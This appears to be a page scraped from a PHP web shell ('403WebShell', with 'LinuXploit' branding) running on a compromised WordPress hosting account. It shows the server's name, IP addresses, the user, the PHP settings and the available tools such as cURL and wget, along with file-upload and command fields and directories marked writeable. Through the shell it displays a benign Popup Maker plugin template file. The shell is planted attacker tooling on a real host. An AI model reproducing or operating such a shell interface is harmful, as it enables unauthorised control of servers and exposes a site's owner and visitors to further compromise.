Uname:Linux cp196.maytech.vn 5.14.0-687.66.2.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Nov 6 16:20:31 EST 2026 x86_64

Base Dir : /home2/dlsafepha/public_html

User : dlsafepha


403WebShell
403Webshell
Server IP : 103.249.100.196  /  Your IP : 216.73.216.194
Web Server : Apache
System : Linux cp196.maytech.vn 5.14.0-687.66.2.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Nov 6 16:20:31 EST 2026 x86_64
User : dlsafepha ( 1078)
PHP Version : 8.2.36
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/dlsafepha/./public_html/wp-content/plugins/popup-maker/includes/functions/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/dlsafepha/./public_html/wp-content/plugins/popup-maker/includes/functions/utils/template.php
<?php
/**
 * Functions for Template Utility
 *
 * @package   PopupMaker
 * @copyright Copyright (c) 2024, Code Atlantic LLC
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Get a templates part in $slug-$name.php fashion.
 *
 * Allows passing arguments that will be globally accessible in the templates.
 *
 * @param string $slug
 * @param string $name
 * @param array  $args
 *
 * @return string
 */
function pum_get_template_part( $slug, $name = null, $args = null ) {
	return PUM_Utils_Template::get_part( $slug, $name, $args );
}


/**
 * Render a templates part in $slug-$name.php fashion.
 *
 * Allows passing arguments that will be globally accessible in the templates.
 *
 * @param string $slug
 * @param string $name
 * @param array  $args
 */
function pum_template_part( $slug, $name = null, $args = [] ) {
	// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
	echo pum_get_template_part( $slug, $name, $args );
}

/**
 * Gets the rendered contents of the specified templates file.
 *
 * @param $template_name
 * @param array         $args
 *
 * @return string
 */
function pum_get_template( $template_name, $args = [] ) {
	return PUM_Utils_Template::get( $template_name, $args );
}

/**
 * Get other templates (e.g. product attributes) passing attributes and including the file.
 *
 * @deprecated Likely a better way @see pum_template_part()
 *
 * @param string $template_name Template file name with extension: file-name.php
 * @param array  $args (default: array())
 */
function pum_load_template( $template_name, $args = [] ) {
	// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
	echo pum_get_template( $template_name, $args );
}

Youez - 2016 - github.com/yon3zu
LinuXploit